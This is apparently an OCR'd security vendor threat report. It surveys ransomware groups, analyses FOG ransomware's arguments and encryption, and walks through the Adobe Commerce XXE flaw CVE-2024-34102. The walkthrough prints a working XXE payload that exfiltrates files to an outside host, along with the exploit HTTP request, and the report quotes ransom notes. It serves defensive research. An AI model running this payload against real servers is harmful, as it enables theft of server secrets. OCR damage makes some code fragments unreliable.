You must be the domain administrator or CEO, in other words, our latest victim. You reading this message means that the internal infrastructure of your company
has been compromised, all your backs up are deleted or encrypted.

We have also stolen the majority of all important data held by your company.

Going forward, it would be in your interest to cooperate with us, to prevent further disgrace.

We are aware of everything. We have carefully studied all your finances and we know how much is a fair price for you to pay, with that in mind, know that we
shall treat you fairly.

When you choose to disregard our kindness and report to law enforcement or data recovery experts to help you figure out a way to recover your lost data, you only
lose TIME and MONEY, and we in the process lose our patience

Losing our patience would result in the leaking of your sensitive information to your competitors and other cyber-criminals that would certainly make a profit
off it. It would be in your best interest to aveid this.

We are always willing to negotiate as we believe dialogue should always be the first option and drastic action should be saved for last.

If we are unable to come to an agreement, we shall sell or give away all the information that we have stolen from you.

Navigating this website has been kept minmal and simple.
To list all commands, type help in the terminal.

Contact:

leaks
news
contact
help
clear

Figure 4. Dark web leak sites (Top: Vanir, Bottom: Akira)

Vanir ransomware uses a similar command shell design to that of the Akira ransomware group on its
dark web leak site, and the way it navigates to other pages by entering commands is also very similar.
So far, they have listed a total of three victims, and have also posted on dark web leak sites recruiting

partners.
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Madliberator Group posted eight victims in July alone. Although the number of victims was not large,
the group posted victims across a wide range of industries, including manufacturing, finance,
institutions, healthcare, and distribution. In addition, the new Lynx group has posted two victims,
while hacktivist NullBulge has released Discord data from Indian YouTuber ChiefShifter and 1.2TB
of internal collaboration tool data from American media conglomerate Disney.

81, Aug 2824

i Gl

Latest Posts

Nothing Found

It seems we can't find what you're looking for. Perhaps searching can help. Stalkers & Osinters
’

Figure 5. Darkweb leak site of RansomCortex

Lastly, a new ransomware group, RansomCortex, which appeared on July 11, announced 4 victims
related to the healthcare industry upon its appearance. However, as of August 1, all data were deleted
from the dark web leak site, the site's title was changed to "Offline," and no additional activity was

discovered.
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Top 5 Ransomware
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Figure 6. Major Ransomware Attacks by Industry/Country

RansomHub Group has been very active, posting 48 incidents in July alone, which accounts for 32%
of the total activity. Since the BlackCat/Alphv's Exit Scam’ in March, BlackCat (Alphv) partners have
joined RansomHub, and activity has been steadily increasing since March. In June, they attacked a
local architectural firm and, in July, the Florida Department of Health. In July, a new version of the
ransomware was discovered with some additional features. A detailed analysis of RansomHub can be
found in SK Shielders’ 2024 Q2 Ransomware Trend Report, “KARA Ransomware Trend Report 2024
2Q.7

7 Exit Scam: A scam where the attacker does not pay fees to the affiliate or disappears without recovering the files after receiving

payment from the ransomware victim
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LockBit Ransomware group recorded a relatively low number of 12 victims last month, but increased
its activity again in July, posting 33 victims. In July, however, two people involved in the LockBit
Ransomware attacks pleaded guilty, and the dark web leak site remains unsettled, being intermittently

inaccessible or frequently displaying test posts.

Akira Group has been active since April 2023, and in July, it was found to exploit CVE—2024-37085,
a VMware ESXi authentication bypass vulnerability. This month, they attacked Canadian Federated
Co-operatives Limited, causing problems in food inventory and card lockouts, which also affected
operations of federated members' retail stores. They also attacked financial institution Financoop to
steal around 20GB of financial information and internal data, and Heidmar, a crude oil and refined

petroleum transportation services company.

Hunters Ransomware group has announced on its dark web leak site that their encryption and
decryption tool was updated to version 5.0.0. This version reportedly has solved all issues of previous
versions, allowing smoother encryption and decryption processing. They attacked Northeast
Rehabilitation Hospital Network, an American rehabilitation medical services provider, and stole
approximately 410 GB of hospital operational data and patient information. They also attacked
Kenya Urban Roads Authority, an urban road authority of Keny, stealing approximately 18GB of

data including personally identifiable information, financial documents, and customer data.

Play Ransomware Group has been focusing 61% of all attacks on the US—based businesses during its
active period. Especially In July, all of their attacks targeted the US businesses. A ransomware variant
that encrypts VMware ESXi environments in Linux environments has been discovered recently. This
variant could allow attackers to corrupt VM disks or configuration files, or encrypt virtual machine

files, and could affect more platforms than before.

EQST insight | 32



B Ransomware in focus

Overview of FOG Ransomware

< FOG />

Latest Posts

Tue, July 3@, 2824

BASF | Nunhems

39 GB

read more =

Hello, I'ts FOG Blog #

Confidential information of companies will be posted here

sat, July 27, 20824

City of Cold Lake

18 GB

read more =

Fri, July 26, 20824

Odessa College

18 GB

read more =

TAGS BLOG 4

all posts =

Source: FOG ransomware data leak site

For FOG ransomware, which has been detected since May 2024, no dark web leak site was identified

in the early stages of the activity. They negotiated with victims on dark web chat pages listed in the

ransomnotes. However, on July 17, a dark web leak site was discovered where seven victims were

posted, and four additional victims were later posted, bringing the total of 11 victims.
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Target Industry Target Country

Figure 7. Statistics on FOG ransomware attacks

Most of the victims listed on the dark web leak site were educational institutions. 7 out of the 11
victims were educational institutions, including Geelong Lutheran University in Australia, German
University of Technology in Oman, University of Texas at Odessa in the United States, and the Wichita
State University of Applied Science and Technology Campus in the United States, as well as school

districts in some areas of the United States.

EQST insight | 34



< FOG /> TAGS BLOG <#:

Asbury Theological Seminary

Mon, June 24, 2824

Asbury Theological Seminary is an evangelical Christian seminary in Wilmore,
Kentucky. Asbury is accredited by the Commission on Colleges of the Southern
Association of Colleges and Schools and the Association of Theological Schools in

the United States and Canada.

www . asburyseminary.edu Industry Higher Education Size 281-588 Revenue $32.6 Million

Data tzken over 10 GB

404: Not found

Path: [posts/6686a9537b58cBbba

Figure 8. Posts on the FOG ransomware data leak site (Top: readable post, Bottom: unreadable post)

FOG ransomware has been consistently posting victims on dark web leak sites since July 17, but most
of the posts are unreadable. As of July 30, 1 of 11 posts has been deleted, only 2 posts are readable,
and the remaining 8 posts are redirected to an error page stating that the page does not exist. In
addition, there are no sample data or public data in the two normally accessible posts. The fact that
dark web leak sites are not operating smoothly could indicate several possibilities, including poor
management or posts being edited only when negotiations on the chat page break down, and therefore

requires continued monitoring.
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FOG Ransomware

infosec

Encryption
Key

Y—=9

Encryption
Method

Features

Ransom
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Encryption file with HC-256 algorithm and protect the key with RSA

L HC-256 a\
—_—
File ’ Encrypted

I File

Custom Hash RSA Encrypted
M Hieee Xy L7

Total file size less than 5MB : Full encryption
Partial encryption size* between 5SMB and 10MB : Encrypt 5SMB only

Partial encryption size 10MB or greater : Encrypt the entire partial encryption size
*Partial encryption size: Total file size * [SIZE parameter value] / 100

Extension

Production

i Delete Shared :
l:termlt'.(ent System Recovery Folder Execution
neryption Options Encryption argument
HC-256 & " Kill Kill
RSA Encryption Multi-thread processes services

T readme.txt - Windows 012%

ODEF) BTIE MAO) 22IV) =8RMH)
If you are reading this, then you have been the victim of a cyber attack. We call ourselves Fog and we take
ITo contact us you need to have Tor browser installed:

1. Follow this link: {redacted}
2. Enter the code: {redacted)
3. Now we can communicate safely.

If you are decision-maker, you will get all the details when you get in touch. We are waiting for you

readme.txt

.FOG, .FLOCKED

Language
C )—O[ C/C++

Figure 9. Overview of FOG ransomware
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Strategies of FOG Ransomware
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Initial Access

Discovery Initial access through compromised VPN credentials

Discovery of network services
Discovery of network shared resources

Defense Evasion

Disable Windows Defender
File obfuscation
N 4

Exfiltration

| S—

Lateral Movement

T1562
T1070

T1570
T1021

Internal network propagation using RDP and SMB
Internal network propagation using PsExec

Using Windows Command Shell

Impact
Execution via PsExec

Data encryption
Delete VSC

Figure 10. Attack strategies of FOG ransomware

FOG ransomware exploits compromised VPN® credentials to infiltrate victims' networks. After initial
penetration, they scan the target system for network services and disable Windows Defender to
prevent further malicious activity from being detected. They then use RDP? and SMB! in an attempt
for internal spreading across the identified internal networks, and use PsExec!! to distribute and
execute payloads'?. The deployed payload includes a PowerShell script that, in the Hyper-V"
environments, encrypts VMDK! files and deletes Veeam® storage backups, as well as ransomware
payloads that encrypt local system and network shared resources.

FOG ransomware can be executed by receiving multiple execution arguments. It works normally
when the key value to decrypt the settings required for ransomware execution, such as the RSA public
key, encryption exception targets and the list of processes and services for termination, is delivered as
the “~ID” argument. In addition, execution arguments that can activate or deactivate various
functions are shown in the table below.

8 VPN(Virtual Private Network): A virtual secure network used to protect personal information and bypass regional restrictions on the

Internet

¢ RDP(Remote Desktop Protocol): A protocol that allows you to control other computers remotely

10 SMB(Server Message Block): A message format used to share files, directories, and peripherals in a Windows environment

1 PsExec: A command-line tool that allows you to run processes remotely without installing specific software on other systems
12 Payload: Code designed to penetrate, modify, or otherwise damage computer systems

13 Hyper—V: A virtualization tool that allows you to run multiple operating systems in a Windows environment

14 VMDK (Virtual Machine Disk): Virtual hard disk drives used in virtual environments

15 Veeam: Backup app that can be used in Microsoft Hyper—V virtual environments, a virtualization tool for Windows operating system

EQST insight | 37



Argument ‘ Description ‘

-NOMUTEX Deactivate mutex'® creation function
-LOG Save ransomware startup log in C:WProgramDatatflock_log.txt
-TARGET {PATH} Encrypt files in the specified path only

-1D {KEY} Key required to decrypt various settings used by ransomware
-CONSOLE Create a console window that outputs file encryption logs
-PROCOFF Deactivate process termination function

-UNCOFF Deactivate network shared resource encryption function
-SIZE {INT} Percentage of the files to be encrypted ({int}%, default: 15)

Table 1. FOG ransomware execution arguments

FOG ransomware creates log files for debugging!” purposes. Depending on the execution arguments,
it can create two additional logs. When executed the ransomware saves logs used for debugging
purposes, such as start and end messages for each function, execution results, and error messages, in
the “C:WProgramDataWDbglLog.sys” path. In addition, the “~LOG” argument saves a log file
containing the ransomware start time in the path “C:WProgramDataWlock_log.txt,” and the “-
CONSOLE” argument, when entered, outputs the names of the files being encrypted in a separate
console window during the file encryption process, enabling to check which files are currently being

encrypted.

2024-07-26 g@ 10:
2024-07-26 om 10:
2024-07-26 om 10:
2024-07-26 o@m 10:
2024-07-26 o@ 10:
2024-07-26 o@ 10:
2024-07-26 o@ 10:
2024-07-26 o@ 10:
2024-07-26 o@ 10:
2024-07-26 g@ 10:
2024-07-26 om 10:

:11 [+] Defined mutex name: jBgB4ZHXUhNAJILSmzE6lWEFXxIOGUXPAXW
:11 [=] Decrypting json config

:11 [=] Checking mutex...

:11 ['] Skip mutex check by —nomutex param.
124 [+] J50H config loaded successfully

:24 [=] Init prgn data...

125 Found disk # 1 (C:\)}, type: 1

:25 Uknonwn DrvType (5) of root: D:Y, skipped
:25 [=] thread 14168 created

:25 [=] thread 9100 created

:25 [=] thread 5324 created

Figure 11. DbglLog.sys log
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The FOG ransomware has the setting values for execution encrypted. It uses a custom hash algorithm
to create a 512-bit key from the value passed with the execution argument “~ID”, and then decrypts
the setting value using the HC—256 algorithm. The decrypted setting values are stored in the heap
memory field, and the ransomware is executed without being terminated only if it is decrypted

normally. The role of each setting value used by the FOG ransomware is shown in the table below.

16 Mutex: A technique to prevents multiple threads from accessing a single resource simultaneously in multi—threads

17 Debugging: The process of finding and correcting system errors that occur during development of the program
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Setting values Description

PathStoplList Encryption exception directory
FileMaskStopList Encryption exception file extension
ShutdownProcesses List of targets of process shutdown
ShutdownServices List of targets for service shutdown
RSAPubKey RSA public key used to protect file encryption keys
LockedExt Encryption file change extension
NoteFileName Ransomnote file name
NoteFileContents Contents of ransomnote

Table 2. Setting values of FOG ransomware

Before file encryption, all processes and services are shut down. The targets of shutdown are on the
“ShutdownProcesses” and “ShutdownServices” lists among the decrypted setting values. When the "~
PROCOFF" argument is entered, file encryption begins immediately, skipping process and service
shutdown before encryption. File encryption basically scans both local drives and network shared
resources, and encrypts all files except those in encryption exception directories and with exception
extensions. When running the ransomware, network shared resources can be kept not encrypted by
using the “~“UNCOFF” argument. Also, using the “~Target” argument, only the paths entered with

the argument, not the entire drive, are encrypted.

File encryption determines whether to partially encrypt a file based on the file size and the “~SIZE”
argument value. It calculates the entered “~SIZE” value as a percentage (%) of the total file size, and
uses it as the partial encryption size. For example, when “~SIZE 20” is entered, 20% of the total file
size is used as the partial encryption size. If the file is less than 5MB, the entire file is encrypted and,
otherwise, partial encryption is applied. The method of partial encryption also differs according to
size. If the previously calculated partial encryption size is 5 MB or more but less than 10 MB, only 5
MB of the file is encrypted. If it is 10 MB or more, encryption is performed for the calculated partial
encryption size. File encryption is performed using the HC-256 algorithm, and the key used for

encryption is protected using the RSA public key stored in the settings value.

In addition, Windows commands are used to delete both disk backup copies and the recycle bin data

to prevent arbitrary recovery by users.
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Measures against FOG ransomware
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Figure 12. Measures against FOG ransomware

FOG ransomware uses compromised VPN credentials for initial infiltration. To prevent this, only the
minimal privileges must be granted to each account or a deactivation conditional access policy to
restrict logging in from non—compliant devices or external IPs must be used. Management activities,
such as deactivating or blocking unnecessary services among remotely available services, periodically
checking and auditing accounts, and deactivating or restricting unnecessary accounts, must also be
performed

After initial penetration using VPN, FOG will search for shared resources or various network services
to further spread into the internal network. To limit the users who can enumerate network shared
resources, the Windows Group Policy needs to be modified. In addition, unnecessary services or ports
can be deactivated in advance to prevent them from being discovered. Also, since attackers use SMB,
RDP, PsExec, etc. for internal propagation, a host firewall can be used to limit abnormal

communications.

FOG deploys PowerShell scripts and ransomware payloads to compromise VM environments into the
internal network it infiltrates. This can be prevented by activating the ASR'® rules or using an EDR"
solution to block malicious activity.

FOG ransomware encrypts not only local disks but also network shared files. Therefore, the access
to the network shared resources must be kept to a minimum or disabled to prevent access to external
resources. Additionally, ransomware has the ability to delete backup copies to prevent users from
recovering them, so the data must be backed up in a separate network or storage.

18 ASR (Attack Surface Reduction): Protection against processes that are being used or executable by attackers

1 EDR (Endpoint Detection and Response): A solution that detects, analyzes, and responds to malicious activities occurring on

computers, mobile devices or servers in real time to prevent it from spreading damage
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+ TrendMicro’s official website (https://www.trendmicro.com/en_us/research/24/g/new—play—

ransomware-linux—variant—targets—esxi—shows—ties—with—p.html
+ Trellix’s official website (https://www.trellix.com/blogs/research/akira—ransomware/)

+ BleepingComputer’s official website (https://www.bleepingcomputer.com/news/security/fake—

crowdstrike—fixes—target—companies—with—malware—data—wipers/)

+ Avast’s official blog (https://decoded.avast.io/threatresearch/decrypted—donex—ransomware—and—its—

predecessors/)

+ BleepingComputer’s official website (https://www.bleepingcomputer.com/news/security/meet—brain—

cipher—the-new-ransomware—behind—indonesia—data—center—attack/)

+ BleepingComputer’s official website (https://www.bleepingcomputer.com/news/security/new—fog—

ransomware—targets—us—education—sector—via—breached—vpns/)
+ Microsoft’s official website (https://www.microsoft.com/en—us/security/blog/2024/07/29
/ransomware—operators—exploit—esxi—hypervisor—vulnerability—for—-mass—encryption/)

+ BleepingComputer’s official website (https://www.bleepingcomputer.com/news/security/sexi—

ransomware—rebrands—to—apt—inc—continues—vmware—esxi—attacks/)

+ CrowdStrike’s official website (https://www.crowdstrike.com/statement—on—falcon—content—update—

for-windows—hosts—kr/)
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Research & Technique

Vulnerabilities of Adobe Commerce XXE (CVE—-2024-34102)

B Outline of the vulnerability

Magento is a PHP—based open source e-commerce platform first released on March 31, 2008. After
being acquired by Adobe in May 2018, Magento Commerce Enterprise Edition was absorbed by and
rebranded® as Adobe Commerce. Magento Community Edition, on the other hand, still operates as
an open source e—commerce platform which is based on Magento Open Source. According to an
online search for Adobe Commerce via the OSINT search engine, as of August 9, 2024, Adobe
Commerce is used as an e—commerce platform on over 40,000 sites in numerous countries, including

the United States and Germany.

&2 fofa.info

Figure 1. Adobe Commerce usage statistics

2 Rebranding: A marketing strategy that seeks to differentiate a product by adding a new name, term, symbol, design, concept, or a

combination of these to an existing brand
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On June 13, 2024, an XXE vulnerability (CVE-2024-34102) was disclosed from Adobe Commerce.
The vulnerability can occur when the REST API?! converts JSON data into an object, where a
malicious actor can exploit the insufficient filtering logic to perform malicious actions through
malicious XML syntax interpretation. Caution is required as attackers can steal important

information from the server using this vulnerability.

On July 13, 2024, Adobe announced that the vulnerability could be exploited to execute arbitrary
commands, bypass security features, and elevate privileges. Adobe also discovered and notified that
CVE-2024-34102 was being exploited in a limited manner against vendors.

« URL: https://helpx.adobe.com/security/products/magento/apsb24—40.html

21 Representational State Transfer API (REST API): API that communicates through HTTP requests and performs standard database
functions such as creation, reading, updating, and deletion (CRUD) of records within a resource. For example, GET discovers, POST

creates, PUT updates, and DELETE deletes records.
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B Attack scenario

The figure below shows a CVE—-2024-34102 attack scenario.

@

® Search for a vulnerable server

<

® CVE-2024-34102

infosed

' Adobe

Commerce

Attacker

[10101001]
10010111
o1

TOP
SECRET

® Steal encryption key from server @ Generate operator JWT token ~ ® Steal critical information from server

T

Figure 2. CVE—-2024-34102 attack scenario

@ Attacker searches a vulnerable Adobe Commerce server being used as an e-commerce platform.
@ Attacker exploits the CVE-2024-34102 vulnerability to send malicious XML syntax.

® Attacker steals encryption keys from server using malicious XML syntax.

@ Attacker uses the stolen key to generate operator JWT token for use in API.

® Attacker uses the APl with operator privileges through the generated JTW token to steal important

information from the server.

B Affected software versions

Software versions vulnerable to CVE—2024-34102 are as follows:

S/W 72 ot W3

247, 2.4.6-p5, 24.5-p7, 2.4.4-p8, 2.4.3-ext-7, 2.4.2-ext-7 and
Adobe Commerce
earlier versions

Magento Open Source 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 and earlier versions

Adobe Commerce Webhooks Plugin From 1.2.0 through 1.4.0
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B Test Environment Configuration Information

The operations of CVE-2024-34102 can be tested by setting up a test environment as follows:

Name Configuration

Adobe Commerce Magento

Victim Community Edition 2.4.7
(192.168.102.74)
Kali Linux
Attacker
(192.168.216.129)

B Vulnerability test

Step 1. Setting up environment

Install, on the victim's computer, Adobe Commerce with CVE-2024-34102 vulnerabilities. For
Adobe Commerce installed via Composer install, the version information of the application being

used is written in the composer.lock file on the highest level of the installed path.

This is a vulnerable environment because version 2.4.7 is being used in the environment.

"name": "magento/product-community-edition",
"version": "2.4.7",
"dist": {
typel: Mziph,
"url": "https://repo.magento.com/archives/magento/product-community-edition/magento-product-community-ed
ition-2.4.7.0.zip",
"shasum": "366521fc545daf2b89c33delf873b81589b1d019"

3,

Figure 3. Checking Adobe Commerce vulnerability information
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Step 2. Conducting vulnerability test

First, the attacker builds a server that responds with malicious XML. A temporary test server can be
established using SSRFUltility, which is used for SSRF vulnerability check.

« URL: https://ssrf.cvssadvisor.com/

First, click the New Instance button below to issue a new instance.

t @ SSRFULility - SSRF Explor X

& QO 8t cvssadvisor.com

KaliLinux #8 Kali Tools « Kali Docs ™ Kali Forums o\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

©

Changelog #

SSRF testing made easy &

Discover and tekt SSRF vulnerabilities faster than ever.

New Instance |

OR GO TO EXISTING INSTANCE

Enter Instance ID

@ Made by beblks

Figure 4. Issuing SSRFUtility instance

Set the issued instance to return the following malicious XML payload:
<IENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=FILE_.TO_READ"> <!ENTITY %
param1 "<IENTITY exfil SYSTEM 'https://INSTANCE_URL?%data;'>" >
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This setting can designate the return of the malicious XML payload that reads /etc/hosts file using

the Customize HTTP Response function as of the following:

QO B htips://ssrf.cvssadvisor.com/instanc

KaliLinux § KaliTools @ KaliDocs % KaliForums ex Kali NetHunter Exploit-DB Google Hacking DB OffSec

Your unique subdomain @

P X
Customize HTTP Response
Pittps://pdc6eOcT.co s o Customize the HTTP response of your SSRF instance
Status Code
https://pdc6cOcT.ssrf.cvssadvisor.com ] "
i i = 200
Customize your instance ists yet

Body

Customize HTTP Response
<IENTITY % data SYSTEM "php://filter/convert.base64-encode
/resource=/etc/hosts">

<IENTITY % param1"<IENTITY exfil SYSTEM 'https://pdc6cOcT7.cors
Instance Info il /dtd.xml?%data;'>">

Headers

pdc6cOc7? O

Access-Control-Allow-Headers: *

Extend Instance by 1 hour

- Clear logs | -

Figure 5. Setting for malicious XML return

Now, send the packet below to the vulnerable Adobe Commerce server by using the CVE-2024-
34102 vulnerability:

POST /rest/all/V1/guest-carts/eqst-test/estimate-shipping-methods HTTP/2

Host: magento.test

Accept: application/json, text/javascript, */* q=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Content-Type: application/json

Content-Length: 371

{

"address": {
"totalsReader": {
"collectorList": {
"totalCollector": {
"sourceData": {
"data": "<?xml version=W"1.0%" ?> <IDOCTYPE r [ <!ELEMENT r ANY > <IENTITY % sp SYSTEM
W"https://pdc6c0c7.c5.rs/dtd xmI#W"> %sp; %param1; 1> <r>&exfil;</r>",
"options": 524290
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You may find the following response from the vulnerable server:

=

11:35:19
o AM
;+ QUESTION SECTION:
;pdeBeOc7.cors. IN AAAA
;» opcode: QUERY, status: NOERROR, Id: 39945
11:35:19 ++ flags:; QUERY: 1, ANSWER: O, AUTHORITY: O, ADDITIONAL: O
#2 57
M 1+ QUESTION SECTION:
;pdcBeOcT.cors. IN AAAA 127.001  localhost
A localhost ip6-localhost ip6-loopback
fe00:0 ip6-localnet
/dtd.xmt 0020 ip6-mcastprefix
43 11:35:20 : pdc6e0cT.ch.rs H02-1 ip6-allnades
AM : close 022 ip6-alirouters
172.18.0.8 5495ab70c20c
fdtd.xmlAMTISLJAUMCAxCWxvY 2F saGIzd Ao60JEJbGS] YWxob3NOIGlwNi1sb 2NhbGhve3QgaX AZLWxvb3BiYWNrCmZIMDAB OjAJaXAZLY
1:35:21
by AM : pdc6clOcT.chrs
: close

Figure 6. /etc/hosts file leak due to CVE-2024-34102 vulnerability

In the following link, you can find the CVE-2024-34102 vulnerability test PoC that automates the

process above:
« URL: https://github.com/EQSTLab/CVE-2024-34102

e ook . Aut : T¢

. :++++++.+++‘ ﬁﬁm;ﬁﬁ

=++++++

is vulnerable

Figure 7. Checking /etc/hosts file leak after CVE-2024-34102 PoC execution
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M Detailed analysis of the vulnerability

This section sequentially explains how the CVE-2024-34102 vulnerabilities occur. In Step 1, we will
analyze webapi.xml and di.xml, which are the access permission and class configuration files, and
find out which methods are called from paths that can be accessed without authentication. In Step 2,
we will analyze the process of deserializing”? JSON data of the HTTP body into objects. Lastly, in
Step 3, we will discuss the XML External Entity Injection (XXE) vulnerability that occurs in Adobe
Commerce and analyze how the XXE vulnerability occurs by tracing the classes called during the

deserialization process above.

Step 1. Tracking search and execution of URL accessible without authentication
You can access Magento2 via Ul and REST API when using the feature. In particular, to check for

vulnerabilities, you can first explore the REST API that can be accessed without authentication.

1) webapi.xml
The webapi.xml file in each module specifies detailed settings for accessing the REST API in Magento?2.
If you refer to the vendor/magento/module—quote/etc/webapi.xml file in the path where Magento is

installed, you can see a part of the xml file as follows:

Figure 8. A part of webapi.xml file

The meaning of each node in the webapi.xml file above is as follows:
@ route: This is to specify an URL for calling the API, and whether or not to call the API
when accessing which method through which URL.
@ service: You can specify the class and method to be called for the API. In the example
above, the method estimatedByExtendedAddress is called with cartld passed as a parameter.
® resources: The authority to call the API is specified. Among the ref attributes, anonymous
means all users and self means customers. In the example above, access by all users is

possible without a separate authentication.

From examining webapi.xml where the ref attribute value of the resources node is anonymous, you

can see that the following two paths typically do not require a separate authentication process:

22 Deserialization: The process of extracting a data structure from a series of bytes
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/rest/V1/guest-carts/:cartld/billing-address
/rest/V1/guest-carts/:cartld/estimate-shipping-methods

2) di.xml
In Magento?2, the class specified in the service node of webapi.xml is not called by its own class name.

di.xml defines preferences for a specific class in the instantiation® process.

If you refer to the vendor/magento/module—quote/etc/di.xml file in the path where Magento?2 is

installed as described above, you can see a part of the xml file as follows.

spaceSchemalocation

Figure 9. A part of di.xml file

According to webapi.xml in 1) above, when accessing the URL path /rest/V1/guest—carts/eqst—
test/estimate—shipping—methods, the class called internally is
MagentoWQuoteWApiwDataWAddressInterface, but according to di.xml, the call to that class is replaced
by a call to MagentoWQuoteWModelWQuoteWAddress class as shown below.

Figure 10. Class name replaced according to di.xml in getPreference function

» Instantiation: The process of creating an object from a class
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3) Calling method analysis

(1) /rest/V1/guest—carts/:cartld/estimate—shipping—methods

Among the paths accessible without authentication as described in 1), the settings of webapi.xml for
the estimate—shipping—methods path are as follows:

method="es

Figure 11. Settings of webapi.xml for the estimate—shipping—methods path

The di.xml setting information of the class called in webapi.xml described in 2) above is as follows:

i:noNamespaceSchemalocatis

Figure 12. Settings of di.xml according to the webapi.xml settings above

When sending an HTTP request to the /rest/V1/guest—carts/ cartld/estimate—shipping—methods path with
the two xml file settings above, the estimatedByExtendedAddress method of the
MagentoWQuoteWModelWGuestCartWGuestShippingMethodManagement class is called. The source
code of the estimatedByExtendedAddress method is as follows:

I estimateByExtendedAddress{$cartId, Add e $address)

f$quoteldMask = $this->quoteldMaskFactory-»>create()->load($cartId, 'm

Figure 13. estimatedByExtended Address method

After sending an HTTP request, you can see that the HTTP body value you sent is converted into an

object in the form of Addressinterface class and entered as an argument.
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2. /rest/V1/guest—carts/:cartld/billing—address
Among the paths accessible without authentication as described in 1) above, the settings of
webapi.xml for the billing—address path are as follows:

" method=

Figure 14. Settings of webapi.xml for the billing—address path

The di.xml setting information of the class called in webapi.xml described in 2) above is as follows:

Figure 15. Settings of di.xml according to the above webapi.xml setting

When sending an HTTP request to the /rest/V1/guest—carts/:cartld/billing—address path with the
two xml file settings above, the assign method of the
MagentoWQuoteWModelWGuestCartWGuestBillingAddressManagement class is called. The source

code of the assign method is as follows:

ce $address, $useForShipping =

-»load($cartId, '
n($quoteldMask->ge Id(), $address, $useForShipping);

Figure 16. Assign method

After sending the HTTP request, you can see that the HTTP body value you sent is converted into an
object of the WMagentoWQuoteWApiWDataWAddressinterface class and entered as an argument.
Since both URLs take arguments in the form of objects, we can expect that the HTTP Body requests

will be deserialized into an object before they are delivered.
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Step 2. Deserialization process

To understand this vulnerability, you need to understand in detail how JSON format data is
deserialized within Magento2 when a request is sent to the HTTP body.

This  process is  partially  performed in  the _createFromArray  method in
vendor/magento/Framework/Webapi/ServicelnputProcessor.php located in the installation path. The

source code for this method is as follows:

_createFromArray ($cla ame, $data)

$data = is_array($data) ? $data : |

TRIBUTES TYPE)
)5

tConstructorDatal$classhame, $data);
-»create{$classiame, $constructorArgs);

)1

Figure 17. _createFromArray method

In the deserialization process, the getConstructorData method in the _createFromArray method above
searches for the constructor arguments of the $className class in the fields of $data and returns

them in an array format.

n getConstructorData(string 9 ame, array $data): array

ice($classhame) ;
$className) ;

3

s = $constructor->getParameters

$parameters as fparameter
isset($data[$parameter->
$parameterTy >

- >getParamType($parameter) ;

[$parameter->getName ( ythis->convertValue($data[$parameter->getiame()], $parameterType);

Figure 18. getConstructorData method
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The two API paths mentioned in Step 1 deserialize the JSON fields of the HTTP body into the
MagentoWQuoteWModelWQuoteWAddress class (hereinafter referred to as the Address class).
Therefore, you need to check the constructor arguments of the Address class that will go through the
getConstructorData method. If you look at the source code of that class, you can see that the

constructor has the following 37 arguments:

on __construct(
$conte;

\Model\Ad
$regionFactory

$itemCollectionFactory,

iteRequestFacto

y $totalCollectorFactory,

otalFactory,

rierFactory,

$attributelist,

Figure 19. Checking constructor (__construct) argument in Address class source code

So when the Address class is called, if you create J[SON field names that do not exist and JSON field
names that exist in the constructor argument in the code above and send a request for each, you can

see how the JSON deserialization process of the HTTP body changes.
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1) JSON field not matching the constructor argument name of the class

If the JSON field searched using the getConstructor method in the _createFromArray method does
not have a name that matches the class constructor argument name, the _createFromArray method
searches for and executes the setter (set+field name) method of the JSON field name. You can verify

this by sending the following HTTP request.

POST /rest/V1/guest-carts/eqst-test/estimate-shipping-methods HTTP/2
Host: magento.test

Cookie: XDEBUG_SESSION=PHPSTORM

Accept: application/json, text/javascript, */*; q=0.01

X-Requested-With: XMLHttpRequest

Content-Type: application/json

Content-Length: 44

{
"address": {
"Region": 123
}
}

In the process above, you can see that the setRegion method, which does not exist in the Address

class arguments of the constructor but exists as a setter, is searched for and executed.

on setRegion($region)

this-»setData(self::KEY_REGION, $region);

Figure 20. Checking setRegion method in Address class

Debug

Output

Figure 21. Searching for and executing “set” + JSON field name method
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2) JSON field matching the constructor argument name of the class
In the getConstructorData method of the _createFromArray method, if the JSON field name being

explored matches the class constructor argument name, the data and data type are passed to the

convertValue method. The following figure shows the source code of the convertValue method:

convertValue($data, $type)

sar->isArrayType($type)
removeSoapItembode ($d

e($type) || Sthis eProcessor->isTypelny($type)
SimpleAndAnyType($data, $type);

UNSTRUCTURED ARRAY)

s-»processComplexTypes($data, $type);

Figure 22. convertValue method

In the convertValue method, if $type contains a data type such as string or int, the _createFromArray
method is returned through the second branch without being called. On the other hand, if argument
$type is delivered as a class to convertValue, because $type is not a simple type such as array, string,
int, float, double or boolean, arguments $data and $type are passed in the processComplexTypes

method. The following figure shows the source code of the processComplexTypes method.

tion processComplexTypes($data, $
$isArrayType = $this->typeProcessor-»isArrayType($type);
rrayType)

-»_createFromArray($type, $data);

$result = is arpay($data) 2 [] = null;
$itemType = $this->typeProcessor->getArrayIltemType($type);

if (is_array($data)
; 5 iceInputVa

1 $result;

Figure 23. processComplexTypes method
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If a class is delivered with $type, the _createFromArray method is called again because it is not an
Array type, and the process of calling the _createFromArray method is repeated recursively. The

following figure illustrates this process:

infosec

Figure 24. Recursive calling of _createFromArray

If convertValue receives a string or int as its $type argument, the _createFromArray method is not
called recursively. Instead, $data is stored in the $res array within the getConstructorData method
and returned as $constructorArgs within the _createFromArray method which ends the recursive call
of _createFromArray. After the recursive call of _createFromArray ends, $constructorArgs is returned
within the _createFromArray method, and an object is created according to $className after the

variable is passed as an argument.

_createFromArray ($classiame, $data)

$data is_array($data) ? $data :

EXTENSION ATTRIBUTES TYPE)
9, -strlen{'I 1)

iz-»getConstructorData($cla ame, %$data);
jectManager->create($className, $constructorfrgs);

Figure 25. Creating object after _createFromArray recursive calling ends
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Step 3. XXE (XML External Entity Injection) vulnerability occurrence
1) XXE (XML External Entity Injection) vulnerabilities
To understand XXE vulnerabilities, a basic understanding of XML is required. XML, which stands
for eXtensible Markup Language, was designed for data storage and transmission. The following
table lists the key terms required to understand XML:

Term Description Example

<section>
Tag Markup structure that starts with < and ends with < Jsections

>,
<line-break />

A logical element in a document that begins with
<Greeting>Hello,
Element a start tag and ends with a matching end tag, or
world.</Greeting>
consists of empty element tags only.

A markup structure consisting of name/value
<img src="EQST,jpg" alt="Experts,
Attribute pairs. This is located within a start tag or an
Qualified Security Team'/>
empty element tag.

There are five special symbols reserved in XML, as shown in the table below. If you use a reserved
